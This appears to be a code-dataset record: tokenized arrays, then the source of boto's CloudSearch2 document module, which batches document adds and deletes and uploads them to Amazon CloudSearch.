[ 646, 17680, 17523, 1563, 199, 646, 5297, 530, 13994, 199, 646, 16407, 20752, 7730, 199, 646, 20400, 20752, 7730, 199, 646, 22518, 7302, 7730, 199, 504, 4125, 14, 2384, 1095, 14, 4718, 9562, 492, 481, 324, 630, 199, 199, 318, 1218, 27398, 7302, 8, 7730, 533, 12, 2166, 12, 15992, 1304, 12, 5718, 1304, 304, 272, 15992, 275, 437, 41, 533, 8, 1896, 12, 15992, 1304, 9, 272, 15992, 14, 4208, 3007, 8030, 8, 2619, 1304, 9, 272, 372, 15992, 421, 199, 318, 1218, 5339, 7302, 8, 7730, 533, 12, 2166, 12, 15992, 1304, 12, 5718, 1304, 304, 272, 15992, 275, 437, 41, 533, 8, 1896, 12, 15992, 1304, 9, 272, 372, 15992, 421, 199, 318, 6548, 2031, 589, 304, 272, 372, 283, 16323, 7, 421, 199, 533, 17680, 17523, 7730, 8, 7302, 17523, 1563, 14, 7302, 17523, 1563, 304, 339, 347, 636, 826, 721, 277, 12, 2166, 304, 267, 17680, 17523, 1563, 14, 7302, 17523, 1563, 855, 826, 721, 277, 12, 2166, 9, 267, 286, 906, 275, 1218, 5339, 7302, 267, 291, 14, 10605, 7099, 4100, 3252, 6640, 23871, 356, 6548, 12, 268, 283, 455, 4492, 484, 18670, 356, 6548, 12, 268, 283, 761, 23656, 5158, 7401, 356, 6548, 12, 268, 283, 5919, 14216, 356, 6548, 12, 268, 283, 3773, 20752, 356, 481, 324, 630, 8, 67, 906, 12, 16407, 20752, 7730, 14, 4685, 20752, 7730, 395, 268, 283, 4502, 2448, 356, 6548, 12, 268, 283, 24963, 3428, 356, 6548, 12, 268, 283, 1896, 20752, 356, 481, 324, 630, 8, 67, 906, 12, 20400, 20752, 7730, 14, 4670, 20752, 7730, 395, 268, 283, 6354, 356, 6548, 12, 268, 283, 15370, 13994, 356, 481, 324, 630, 8, 67, 906, 12, 5297, 530, 13994, 14, 32140, 13994, 395, 268, 283, 1238, 356, 6548, 12, 268, 283, 932, 515, 356, 6548, 12, 268, 283, 515, 356, 6548, 12, 268, 283, 4469, 5058, 5216, 356, 6548, 12, 268, 283, 11269, 4377, 424, 356, 6548, 12, 268, 283, 2619, 356, 481, 324, 630, 8, 67, 906, 12, 22518, 7302, 7730, 14, 11860, 7302, 7730, 11466, 339, 347, 886, 2499, 7302, 8, 277, 12, 286, 8270, 12, 15992, 1304, 304, 267, 5718, 1304, 275, 291, 14, 1896, 14, 362, 7302, 11860, 1304, 8, 484, 1304, 9, 267, 291, 14, 6814, 14, 1757, 360, 20358, 4642, 450, 83, 315, 5718, 450, 83, 7, 450, 334, 484, 1304, 12, 5718, 1304, 430, 267, 372, 286, 8270, 8, 277, 14, 1896, 12, 15992, 1304, 12, 5718, 1304, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768 ]
[ 17680, 17523, 1563, 199, 646, 5297, 530, 13994, 199, 646, 16407, 20752, 7730, 199, 646, 20400, 20752, 7730, 199, 646, 22518, 7302, 7730, 199, 504, 4125, 14, 2384, 1095, 14, 4718, 9562, 492, 481, 324, 630, 199, 199, 318, 1218, 27398, 7302, 8, 7730, 533, 12, 2166, 12, 15992, 1304, 12, 5718, 1304, 304, 272, 15992, 275, 437, 41, 533, 8, 1896, 12, 15992, 1304, 9, 272, 15992, 14, 4208, 3007, 8030, 8, 2619, 1304, 9, 272, 372, 15992, 421, 199, 318, 1218, 5339, 7302, 8, 7730, 533, 12, 2166, 12, 15992, 1304, 12, 5718, 1304, 304, 272, 15992, 275, 437, 41, 533, 8, 1896, 12, 15992, 1304, 9, 272, 372, 15992, 421, 199, 318, 6548, 2031, 589, 304, 272, 372, 283, 16323, 7, 421, 199, 533, 17680, 17523, 7730, 8, 7302, 17523, 1563, 14, 7302, 17523, 1563, 304, 339, 347, 636, 826, 721, 277, 12, 2166, 304, 267, 17680, 17523, 1563, 14, 7302, 17523, 1563, 855, 826, 721, 277, 12, 2166, 9, 267, 286, 906, 275, 1218, 5339, 7302, 267, 291, 14, 10605, 7099, 4100, 3252, 6640, 23871, 356, 6548, 12, 268, 283, 455, 4492, 484, 18670, 356, 6548, 12, 268, 283, 761, 23656, 5158, 7401, 356, 6548, 12, 268, 283, 5919, 14216, 356, 6548, 12, 268, 283, 3773, 20752, 356, 481, 324, 630, 8, 67, 906, 12, 16407, 20752, 7730, 14, 4685, 20752, 7730, 395, 268, 283, 4502, 2448, 356, 6548, 12, 268, 283, 24963, 3428, 356, 6548, 12, 268, 283, 1896, 20752, 356, 481, 324, 630, 8, 67, 906, 12, 20400, 20752, 7730, 14, 4670, 20752, 7730, 395, 268, 283, 6354, 356, 6548, 12, 268, 283, 15370, 13994, 356, 481, 324, 630, 8, 67, 906, 12, 5297, 530, 13994, 14, 32140, 13994, 395, 268, 283, 1238, 356, 6548, 12, 268, 283, 932, 515, 356, 6548, 12, 268, 283, 515, 356, 6548, 12, 268, 283, 4469, 5058, 5216, 356, 6548, 12, 268, 283, 11269, 4377, 424, 356, 6548, 12, 268, 283, 2619, 356, 481, 324, 630, 8, 67, 906, 12, 22518, 7302, 7730, 14, 11860, 7302, 7730, 11466, 339, 347, 886, 2499, 7302, 8, 277, 12, 286, 8270, 12, 15992, 1304, 304, 267, 5718, 1304, 275, 291, 14, 1896, 14, 362, 7302, 11860, 1304, 8, 484, 1304, 9, 267, 291, 14, 6814, 14, 1757, 360, 20358, 4642, 450, 83, 315, 5718, 450, 83, 7, 450, 334, 484, 1304, 12, 5718, 1304, 430, 267, 372, 286, 8270, 8, 277, 14, 1896, 12, 15992, 1304, 12, 5718, 1304, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
hdinsight/hue
desktop/core/ext-py/boto-2.38.0/boto/cloudsearch2/document.py
136
11630
# Copyright (c) 2012 Mitch Garnaat http://garnaat.org/ # Copyright (c) 2014 Amazon.com, Inc. or its affiliates. All Rights Reserved # # Permission is hereby granted, free of charge, to any person obtaining a # copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, dis- # tribute, sublicense, and/or sell copies of the Software, and to permit # persons to whom the Software is furnished to do so, subject to the fol- # lowing conditions: # # The above copyright notice and this permission notice shall be included # in all copies or substantial portions of the Software. # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS # OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABIL- # ITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT # SHALL THE AUTHOR BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, # WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS # IN THE SOFTWARE. # import boto.exception from boto.compat import json import requests import boto from boto.cloudsearchdomain.layer1 import CloudSearchDomainConnection class SearchServiceException(Exception): pass class CommitMismatchError(Exception): # Let's do some extra work and let the user handle errors on his/her own. errors = None class EncodingError(Exception): """ Content sent for Cloud Search indexing was incorrectly encoded. This usually happens when a document is marked as unicode but non-unicode characters are present. """ pass class ContentTooLongError(Exception): """ Content sent for Cloud Search indexing was too long This will usually happen when documents queued for indexing add up to more than the limit allowed per upload batch (5MB) """ pass class DocumentServiceConnection(object): """ A CloudSearch document service. The DocumentServiceConection is used to add, remove and update documents in CloudSearch. Commands are uploaded to CloudSearch in SDF (Search Document Format). To generate an appropriate SDF, use :func:`add` to add or update documents, as well as :func:`delete` to remove documents. Once the set of documents is ready to be index, use :func:`commit` to send the commands to CloudSearch. If there are a lot of documents to index, it may be preferable to split the generation of SDF data and the actual uploading into CloudSearch. Retrieve the current SDF with :func:`get_sdf`. If this file is the uploaded into S3, it can be retrieved back afterwards for upload into CloudSearch using :func:`add_sdf_from_s3`. The SDF is not cleared after a :func:`commit`. If you wish to continue using the DocumentServiceConnection for another batch upload of commands, you will need to :func:`clear_sdf` first to stop the previous batch of commands from being uploaded again. """ def __init__(self, domain=None, endpoint=None): self.domain = domain self.endpoint = endpoint if not self.endpoint: self.endpoint = domain.doc_service_endpoint self.documents_batch = [] self._sdf = None # Copy proxy settings from connection and check if request should be signed self.proxy = {} self.sign_request = False if self.domain and self.domain.layer1: if self.domain.layer1.use_proxy: self.proxy = {'http': self.domain.layer1.get_proxy_url_with_auth()} self.sign_request = getattr(self.domain.layer1, 'sign_request', False) if self.sign_request: # Create a domain connection to send signed requests layer1 = self.domain.layer1 self.domain_connection = CloudSearchDomainConnection( host=self.endpoint, aws_access_key_id=layer1.aws_access_key_id, aws_secret_access_key=layer1.aws_secret_access_key, region=layer1.region, provider=layer1.provider ) def add(self, _id, fields): """ Add a document to be processed by the DocumentService The document will not actually be added until :func:`commit` is called :type _id: string :param _id: A unique ID used to refer to this document. :type fields: dict :param fields: A dictionary of key-value pairs to be uploaded . """ d = {'type': 'add', 'id': _id, 'fields': fields} self.documents_batch.append(d) def delete(self, _id): """ Schedule a document to be removed from the CloudSearch service The document will not actually be scheduled for removal until :func:`commit` is called :type _id: string :param _id: The unique ID of this document. """ d = {'type': 'delete', 'id': _id} self.documents_batch.append(d) def get_sdf(self): """ Generate the working set of documents in Search Data Format (SDF) :rtype: string :returns: JSON-formatted string of the documents in SDF """ return self._sdf if self._sdf else json.dumps(self.documents_batch) def clear_sdf(self): """ Clear the working documents from this DocumentServiceConnection This should be used after :func:`commit` if the connection will be reused for another set of documents. """ self._sdf = None self.documents_batch = [] def add_sdf_from_s3(self, key_obj): """ Load an SDF from S3 Using this method will result in documents added through :func:`add` and :func:`delete` being ignored. :type key_obj: :class:`boto.s3.key.Key` :param key_obj: An S3 key which contains an SDF """ #@todo:: (lucas) would be nice if this could just take an s3://uri..." self._sdf = key_obj.get_contents_as_string() def _commit_with_auth(self, sdf, api_version): return self.domain_connection.upload_documents(sdf, 'application/json') def _commit_without_auth(self, sdf, api_version): url = "http://%s/%s/documents/batch" % (self.endpoint, api_version) # Keep-alive is automatic in a post-1.0 requests world. session = requests.Session() session.proxies = self.proxy adapter = requests.adapters.HTTPAdapter( pool_connections=20, pool_maxsize=50, max_retries=5 ) session.mount('http://', adapter) session.mount('https://', adapter) resp = session.post(url, data=sdf, headers={'Content-Type': 'application/json'}) return resp def commit(self): """ Actually send an SDF to CloudSearch for processing If an SDF file has been explicitly loaded it will be used. Otherwise, documents added through :func:`add` and :func:`delete` will be used. :rtype: :class:`CommitResponse` :returns: A summary of documents added and deleted """ sdf = self.get_sdf() if ': null' in sdf: boto.log.error('null value in sdf detected. This will probably ' 'raise 500 error.') index = sdf.index(': null') boto.log.error(sdf[index - 100:index + 100]) api_version = '2013-01-01' if self.domain and self.domain.layer1: api_version = self.domain.layer1.APIVersion if self.sign_request: r = self._commit_with_auth(sdf, api_version) else: r = self._commit_without_auth(sdf, api_version) return CommitResponse(r, self, sdf, signed_request=self.sign_request) class CommitResponse(object): """Wrapper for response to Cloudsearch document batch commit. :type response: :class:`requests.models.Response` :param response: Response from Cloudsearch /documents/batch API :type doc_service: :class:`boto.cloudsearch2.document.DocumentServiceConnection` :param doc_service: Object containing the documents posted and methods to retry :raises: :class:`boto.exception.BotoServerError` :raises: :class:`boto.cloudsearch2.document.SearchServiceException` :raises: :class:`boto.cloudsearch2.document.EncodingError` :raises: :class:`boto.cloudsearch2.document.ContentTooLongError` """ def __init__(self, response, doc_service, sdf, signed_request=False): self.response = response self.doc_service = doc_service self.sdf = sdf self.signed_request = signed_request if self.signed_request: self.content = response else: _body = response.content.decode('utf-8') try: self.content = json.loads(_body) except: boto.log.error('Error indexing documents.\nResponse Content:\n{0}' '\n\nSDF:\n{1}'.format(_body, self.sdf)) raise boto.exception.BotoServerError(self.response.status_code, '', body=_body) self.status = self.content['status'] if self.status == 'error': self.errors = [e.get('message') for e in self.content.get('errors', [])] for e in self.errors: if "Illegal Unicode character" in e: raise EncodingError("Illegal Unicode character in document") elif e == "The Content-Length is too long": raise ContentTooLongError("Content was too long") else: self.errors = [] self.adds = self.content['adds'] self.deletes = self.content['deletes'] self._check_num_ops('add', self.adds) self._check_num_ops('delete', self.deletes) def _check_num_ops(self, type_, response_num): """Raise exception if number of ops in response doesn't match commit :type type_: str :param type_: Type of commit operation: 'add' or 'delete' :type response_num: int :param response_num: Number of adds or deletes in the response. :raises: :class:`boto.cloudsearch2.document.CommitMismatchError` """ commit_num = len([d for d in self.doc_service.documents_batch if d['type'] == type_]) if response_num != commit_num: if self.signed_request: boto.log.debug(self.response) else: boto.log.debug(self.response.content) # There will always be a commit mismatch error if there is any # errors on cloudsearch. self.errors gets lost when this # CommitMismatchError is raised. Whoever is using boto has no idea # why their commit failed. They can't even notify the user of the # cause by parsing the error messages from amazon. So let's # attach the self.errors to the exceptions if we already spent # time and effort collecting them out of the response. exc = CommitMismatchError( 'Incorrect number of {0}s returned. Commit: {1} Response: {2}' .format(type_, commit_num, response_num) ) exc.errors = self.errors raise exc
apache-2.0
[ 3, 1898, 334, 67, 9, 6029, 603, 9414, 598, 26272, 1455, 921, 71, 26272, 14, 1308, 15, 199, 3, 1898, 334, 67, 9, 6927, 14347, 14, 957, 12, 3277, 14, 503, 2399, 29172, 2335, 14, 2900, 5924, 5702, 199, 3, 199, 3, 8779, 365, 11882, 10009, 12, 2867, 402, 11204, 12, 370, 1263, 4954, 12408, 282, 199, 3, 1331, 402, 642, 2032, 436, 4568, 3794, 1584, 334, 1589, 199, 3, 298, 10337, 1288, 370, 7962, 315, 314, 2290, 1928, 10588, 12, 5893, 199, 3, 1928, 12305, 314, 4481, 370, 675, 12, 1331, 12, 2811, 12, 5389, 12, 2780, 12, 2153, 13, 199, 3, 28420, 12, 13473, 12, 436, 15, 269, 12743, 6866, 402, 314, 2290, 12, 436, 370, 11291, 199, 3, 12103, 370, 12676, 314, 2290, 365, 13985, 370, 886, 880, 12, 5420, 370, 314, 1699, 13, 199, 3, 28486, 3704, 26, 199, 3, 199, 3, 710, 3432, 4248, 4245, 436, 642, 4983, 4245, 10989, 506, 5120, 199, 3, 315, 1006, 6866, 503, 13393, 12468, 402, 314, 2290, 14, 199, 3, 199, 3, 2334, 4141, 2281, 7049, 298, 1179, 2281, 401, 2428, 3408, 1634, 1821, 3826, 12, 7168, 199, 3, 1549, 5292, 12, 6931, 5400, 2845, 5471, 2296, 2334, 2990, 1634, 28471, 13, 199, 3, 28463, 12, 3092, 2381, 437, 3115, 3104, 2401, 13229, 14, 1621, 4825, 6461, 199, 3, 7000, 2334, 17632, 6262, 7024, 2381, 1821, 13140, 12, 6736, 1549, 5010, 5603, 12, 199, 3, 7061, 1621, 1261, 9612, 1634, 7066, 12, 7056, 1549, 7334, 12, 7043, 4442, 12, 199, 3, 5738, 1634, 1549, 1621, 11287, 1663, 2334, 4141, 1549, 2334, 4815, 1549, 5010, 13198, 199, 3, 1621, 2334, 4141, 14, 199, 3, 199, 199, 646, 6055, 14, 1971, 199, 504, 6055, 14, 5819, 492, 2022, 199, 646, 4145, 199, 646, 6055, 199, 504, 6055, 14, 4091, 1733, 2261, 14, 1897, 17, 492, 8142, 5278, 7705, 3225, 421, 199, 533, 8730, 3167, 1726, 8, 1726, 304, 272, 986, 421, 199, 533, 21447, 23055, 547, 8, 1726, 304, 272, 327, 12230, 1159, 886, 2005, 2402, 1736, 436, 4691, 314, 922, 2429, 2552, 641, 17049, 15, 2523, 5705, 14, 339, 2552, 275, 488, 421, 199, 533, 19694, 547, 8, 1726, 304, 272, 408, 272, 6646, 4847, 367, 8142, 8730, 16356, 1990, 22743, 5737, 14, 339, 961, 9987, 10986, 1380, 282, 2213, 365, 11584, 465, 2649, 1325, 2222, 13, 2975, 272, 4110, 787, 3451, 14, 272, 408, 272, 986, 421, 199, 533, 6646, 13749, 9551, 547, 8, 1726, 304, 272, 408, 272, 6646, 4847, 367, 8142, 8730, 16356, 1990, 4634, 1846, 339, 961, 911, 9987, 5992, 1380, 8247, 26102, 367, 16356, 1050, 1536, 370, 1655, 272, 2419, 314, 2304, 4370, 1126, 5802, 3522, 334, 21, 4567, 9, 339, 408, 272, 986, 421, 199, 533, 7543, 3167, 3225, 8, 785, 304, 272, 408, 272, 437, 8142, 5278, 2213, 2435, 14, 339, 710, 7543, 3167, 35, 368, 414, 365, 1202, 370, 1050, 12, 2813, 436, 1678, 8247, 315, 272, 8142, 5278, 14, 5817, 83, 787, 14238, 370, 8142, 5278, 315, 428, 3888, 334, 5278, 7543, 272, 9701, 680, 339, 4005, 3550, 376, 5827, 428, 3888, 12, 675, 520, 1532, 1705, 525, 64, 370, 1050, 503, 1678, 8247, 12, 272, 465, 5521, 465, 520, 1532, 1705, 1807, 64, 370, 2813, 8247, 14, 339, 19468, 314, 663, 402, 8247, 365, 10144, 370, 506, 1478, 12, 675, 520, 1532, 1705, 3543, 64, 370, 3222, 272, 314, 3718, 370, 8142, 5278, 14, 339, 982, 2337, 787, 282, 13918, 402, 8247, 370, 1478, 12, 652, 1443, 506, 16602, 461, 370, 3715, 314, 272, 10152, 402, 428, 3888, 666, 436, 314, 3503, 24349, 1901, 8142, 5278, 14, 13939, 272, 314, 1453, 428, 3888, 543, 520, 1532, 1705, 362, 63, 83, 1587, 2313, 982, 642, 570, 365, 314, 14238, 1901, 428, 19, 12, 272, 652, 883, 506, 12396, 1771, 26982, 367, 5802, 1901, 8142, 5278, 1808, 272, 520, 1532, 1705, 525, 63, 83, 1587, 63, 504, 63, 83, 19, 2313, 339, 710, 428, 3888, 365, 440, 20518, 2410, 282, 520, 1532, 1705, 3543, 2313, 982, 1265, 13809, 370, 1980, 272, 1808, 314, 7543, 3167, 3225, 367, 4573, 3522, 5802, 402, 3718, 12, 272, 1265, 911, 1929, 370, 520, 1532, 1705, 3584, 63, 83, 1587, 64, 1642, 370, 3631, 314, 4136, 3522, 402, 272, 3718, 687, 3769, 14238, 4020, 14, 339, 408, 339, 347, 636, 826, 721, 277, 12, 2881, 29, 403, 12, 6037, 29, 403, 304, 267, 291, 14, 